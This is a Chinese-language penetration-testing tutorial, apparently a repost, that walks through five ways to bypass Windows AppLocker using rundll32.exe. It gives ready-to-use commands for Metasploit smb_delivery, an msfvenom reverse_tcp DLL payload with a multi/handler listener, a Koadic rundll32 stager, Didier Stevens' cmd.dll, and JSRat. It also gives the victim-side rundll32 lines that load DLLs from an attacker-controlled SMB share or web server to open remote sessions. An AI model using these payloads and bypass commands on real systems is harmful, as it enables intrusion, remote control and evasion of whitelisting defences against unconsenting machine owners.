1. 程式人生 > >使用rundll32.exe繞過應用程序白名單(多種方法)

使用rundll32.exe繞過應用程序白名單(多種方法)

tom splay 運行時 important load stage 終端 服務器 rundll32

0x00 前言

本文演示了白名單AppLocker旁路的最常見和最熟悉的技術。我們知道,出於安全原因,系統管理員添加組策略來限制本地用戶的應用程序執行。在上一篇文章中,我們討論了“ Windows Applocker策略 - 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何使用rundll文件繞過AppLocker策略。

DLL文件對於Window的操作系統非常重要,它還決定了自定義Windows的其他程序的工作。動態鏈接庫(DLL)文件是一種文件類型,它向其他程序提供有關如何調用某些內容的指令。因此,多個軟件甚至可以同時共享這樣的DLL文件。盡管與.exe文件的格式相同

,但DLL文件不能像.exe文件那樣直接執行。dll文件擴展名可以是:.dll(動態鏈接庫)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(設備驅動程序)

0x01 運行

當使用時,DLL文件被分為多個部分。這使得DLL文件的運行變得簡單快捷每個部分都在運行時安裝在主程序中由於每個部分都不同且獨立的,所以加載時間更快,並且僅在需要所述文件的功能時才完成。此功能還使升級更容易應用,而不影響其他部分。例如,您有一個字典程序,每個月都會添加新詞,因此,對於這個程序,您所要做的就是更新它;而不需要為它安裝一個完整的另一個程序。

1.優點

  • 使用更少的資源
  • 促進模塊化架構
  • 簡化部署和安裝

2.缺點

  • 依賴DLL將升級到新版本
  • 依賴DLL是固定的
  • 依賴DLL將被早期版本覆蓋
  • 從計算機中刪除依賴dll

0x02 使用DLL文件的AppLocker Bypass的不同方法

  • Smb_Delivery
  • MSFVenom
  • Koadic
  • 通過cmd.dll獲取命令提示符
  • JSRat

1.第一種方法:SMB Delivery

因此,我們的方法是使用smb_delivery。要使用此方法,請在kali中打開終端並鍵入以下命令:

msfconsole:

use exploit/windows/smb/smb_deliverymsf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107msf exploit
(windows/smb/smb_delivery) > exploit

現在,通過Windows計算機中的rundll32.exe運行惡意代碼以獲取meterpreter會話

技術分享圖片

當上述exploit執行時,它將為您提供一個在受害者PC上執行的命令; 以便獲得會話因此,在受害者PC的運行窗口中復制並粘貼指定的命令,如下圖所示:

rundll32.exe \\192.168.1.107\ZtmW\test.dll,0

技術分享圖片

一旦執行該命令,您將擁有meterpreter會話。要訪問會話類型如下所示:

sessions 1sysinfo

技術分享圖片

2.第二種方法:MSFVenom

我們的第二種方法是通過MSFVenom。要使用此方法,請在kali的終端中鍵入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll

技術分享圖片

創建payload後,在受害者PC的運行窗口中運行以下命令:


rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll

技術分享圖片

同時,通過輸入以下命令啟動multi/handler以獲取會話:

msfconsole:

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 192.168.1.107msf exploit(multi/handler) > set lport 1234msf exploit(multi/handler) > exploit

技術分享圖片

3.第三種方法:Koadic

我們的下一個方法是使用Koadic框架。Koadic是一個Windows後期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework

一旦koadic啟動並運行,輸入以下命令:

use stager/js/rundll32_jsset SRVHOST 192.168.1.107run

技術分享圖片

運行exploit 將獲得一個命令。將該命令從rundll32.exe復制到6.0中,並將其粘貼到受害者pc的命令提示符中。

一旦在cmd中運行了該命令,您將擁有自己的會話。如下圖所示。

要訪問會話類型:

zombies 0

技術分享圖片

4.第四種方法:通過cmd.dll獲取命令提示符

現在的難題是,如果命令提示在受害者的主機中被阻止,該怎麽做。

技術分享圖片

如果命令行被阻止,那麽Didier Stevens開發的腳本可以用來解決你的小問題。您可以在以下鏈接中找到它們:

http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

在上面的URL中,您將下載一個zip文件。解壓縮該zip文件並使用以下命令在運行窗口中運行該文件


rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll

技術分享圖片

一旦運行該命令,您將獲得一個未阻止的cmd。如下所示:

技術分享圖片

5.第五種方法:JSRat

我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個命令和控制框架,類似於koadic和Powershell Empire,僅為rundll32.exe和regsvr32.exe生成惡意程序。jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.js文件。要使用此方法,請輸入:


./JSRat.py -i 192.168.1.107 -p 4444

技術分享圖片

一旦JSRat開始運行,它將為您提供在瀏覽器中打開的鏈接。該網頁將包含一個要在受害者主機上執行的代碼

技術分享圖片

因此,請在瀏覽器中打開http://192.168.1.107/wtf鏈接。在那裏你會查看到惡意的代碼,如下圖所示:

技術分享圖片

在受害者PC的命令提示符中運行該代碼,如下所示:

技術分享圖片

如下圖所示,您將擁有一個會話:

技術分享圖片

0x03 總結

DLL文件是各種代碼和過程的集合。這些文件有助於Windows程序準確執行。這些文件是為多個程序創建的,以便同時使用它們。這種技術有助於減少內存使用。因此,這些文件非常重要,並且要求Windows正常運行而不會給用戶帶來任何問題。因此,通過這些文件進行利用是非常有效和致命的。以上介紹的方法是不同的方法的利用。



使用rundll32.exe繞過應用程序白名單(多種方法)